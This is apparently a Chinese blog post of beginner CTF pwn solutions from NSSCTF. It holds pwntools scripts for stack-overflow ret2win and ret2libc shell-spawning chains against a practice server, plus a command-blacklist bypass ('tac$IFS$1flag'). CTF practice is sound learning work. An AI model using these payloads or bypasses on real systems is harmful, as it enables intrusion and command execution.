1 [SWPUCTF 2021 新生赛]nc签到

这不是欺负老实人嘛~

import osart = '''((  "####@@!!$$    ))`#####@@!$$`  ))((  '####@!!$:((  ,####@!!$:   )).###@!!$:`##@@!$:`#@!!$!@#    `#@!$:       @#$#$     `#@!$:       !@!'@!$:'`\   "!$: /`''\  '!: /'"\ : /"-."-/\\\-."//.-"/:`\."-.JrS"."-=_\\
" -."-.\\"-."//.-".`-."_\\-.".-\".-//'''
print(art)
print("My_shell_ProVersion")blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']while True:command = input()for i in blacklist:if i in command:exit(0)os.system(command)

tac$IFS$1flag

2 [SWPUCTF 2021 新生赛]gift_pwn已解决

ret2fun.

from pwn import *day3 = remote("1.14.71.254", 28339)
# day3 = process("./ret2sys")
gift = 0x4005B6payload = b'a' * (0x10 + 8) + p64(gift)day3.sendline(payload)
day3.interactive()

3 [CISCN 2019华北]PWN1

这里的覆盖是数值,这里是0x41348000。这玩意表示浮点数,有点疑惑。

from pwn import *day3 = remote("1.14.71.254", 28907)
# day3 = process("./PWN1")payload = b'a' * (0x30 - 4) + p32(0x41348000)
day3.recvuntil("Let's guess the number.\n")day3.sendline(payload)
day3.interactive()

4 [SWPUCTF 2021 新生赛]whitegive_pwn

狗屎题目,没libc打不通。

from pwn import *
from LibcSearcher import *
io = remote('1.14.71.254', 28821)
elf = ELF('./ret2libc')pop_rdi_ret = 0x0000000000400763
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']payload1 = b'a' * 24 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')payload2 = b'a' * 24 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.sendline(payload2)io.interactive()

5 [BJDCTF 2020]babystack2.0已解决

from pwn import *
day3 = remote("1.14.71.254",28058)
# day3 = process("./pwn")day3.recvuntil("your name:\n")
day3.sendline(b'-1')
backdoor = 0x400726payload = b'a' * 0x18 + p64(backdoor)
day3.sendline(payload)
day3.interactive()

6 [BJDCTF 2020]babystack

from pwn import *
day3 = remote("1.14.71.254",28582)
# day3 = process("./pwn")day3.recvuntil("your name:\n")
day3.sendline(b'100')
backdoor = 0x4006E6payload = b'a' * 0x18 + p64(backdoor)
day3.sendline(payload)
day3.interactive()

7 [watevrCTF 2019]Voting Machine 1已解决

from pwn import *
day3 = remote("1.14.71.254",28784)
# day3 = process("./Voting Machine")day3.recvuntil("Vote: ")
backdoor = 0x400807payload = b'a' * (0x2 + 8) + p64(backdoor)
day3.sendline(payload)
day3.interactive()

又做了几道简单题。。

NSSCTF PWN (入门)相关推荐

  1. Linux pwn入门教程——CTF比赛

    Linux pwn入门教程(1)--栈溢出基础 from:https://zhuanlan.zhihu.com/p/38985585 0x00 函数的进入与返回 要想理解栈溢出,首先必须理解在汇编层面 ...

  2. c# 定位内存快速增长_CTF丨Linux Pwn入门教程:针对函数重定位流程的相关测试(下)...

    Linux Pwn入门教程系列分享已到尾声,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  3. PWN入门系列教程~(1)

    PWN入门系列教程~(1) 先来说下学习路线 大致分为以下几个部分 那么什么是PWN呢? 栈 函数调用栈 寄存器 函数调用栈的经典内存布局 先来说下学习路线 大致分为以下几个部分 学习基础:去学习一些 ...

  4. Linux pwn入门教程,i春秋linux_pwn入门教程复现之栈溢出基础

    i春秋linux_pwn入门教程复现之栈溢出基础 演示进程总览 1: main函数 2: hello函数 3: getShell函数 函数的入栈和出栈 1: F2断点于call hello 启动IDA ...

  5. 上一期文章说的关于PWN入门常见的问题

    我要是有地方说错了一定要指出来啊嘤嘤嘤 主要是因为有些地方感觉讲错了 虽然是从我自己的角度来理解的,但是估计应该大概还是有帮助的(吧). 自己想的和群友提出来我自己收集的,涉及的问题有: 宝贝,怎么入 ...

  6. Linux pwn入门教程,pwn堆入门系列教程1

    pwn堆入门系列教程1 因为自己学堆的时候,找不到一个系统的教程,我将会按照ctf-wiki的目录一步步学下去,尽量做到每周有更新,方便跟我一样刚入门堆的人学习,第一篇教程研究了4天吧,途中没人指导. ...

  7. pwn入门-PLT表与GOT表、libc入门

    动态链接时,一个程序PLT表中的内容始终不变,仅在程序加载时修改GOT表中的内容.PLT表中的每个表项指向对应函数在GOT表中的地址(偏移),每次加载程序都相同.程序加载后GOT表中的每个表项保存的是 ...

  8. 乱七八糟的pwn入门(六)——5.passcode

    审题 首先看题目: 连上服务器,看一下这次的代码: #include <stdio.h> #include <stdlib.h>void login(){int passcod ...

  9. PWN入门(9)NX enabled,PIE enabled与返回LibC库

    简介 "pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为 'p' 与 ...

最新文章

  1. windows下搭建hadoop-2.6.0本地idea开发环境
  2. Ubuntu 16.04下部署Graylog日志服务器
  3. java8 内置函数(api)总结
  4. 机器学习笔记:PCA的简单理解以及应用建议
  5. Underscore.js (1.7.0)-函数预览
  6. 今天,给我妈打电话聊了我爸
  7. 软件测试和python那个号_软件测试:Java VS Python
  8. l2-029 特立独行的幸福 (25分)_霜降后盆栽幸福树,调整4个地方,不用再怕掉叶子了...
  9. 马云:电商之王还想怎样(转)
  10. 图片相似度识别在线_图片相似度计算的几种方法
  11. 洛可可集团董事长贾伟:未来组织的进化
  12. android清理空间,安卓手机如何清理系统空间
  13. moss2007 是什么_MOSS 2007站点权限
  14. 树叶飘落、雪花飘落等同时多个图片飘落
  15. UGF游戏框架实例开发教程—FlappyBird(七)子弹发射与小鸟飞行功能的实现
  16. 五格数理用字(笔画+五行)
  17. 关于企业IT产品免费模式的思考
  18. 自动剪辑视频的软件王者剪辑剪辑的视频没有声音的问题
  19. Web自动化——Selenium原理
  20. 手把手教你玩转UA Tunneller的OPC DA转UA

热门文章

  1. Linux系统运维面试-07
  2. 血条HpBar跟随敌人
  3. 数字信号处理之变换:傅里叶变换、短时傅里叶变换、小波变换等
  4. 49.1%的MCN机构尚未盈利,影响盈利的因素有哪些?突破点在哪里?
  5. “企业中台”与微服务架构
  6. 657. 判断路线成圈
  7. 比尔·盖茨:软件让数字生活变得更简便有效
  8. linux中的super pi(bc 命令总结)
  9. 敬伟PS学习笔记(一)
  10. 毛新生:颠覆旧概念,通往新世界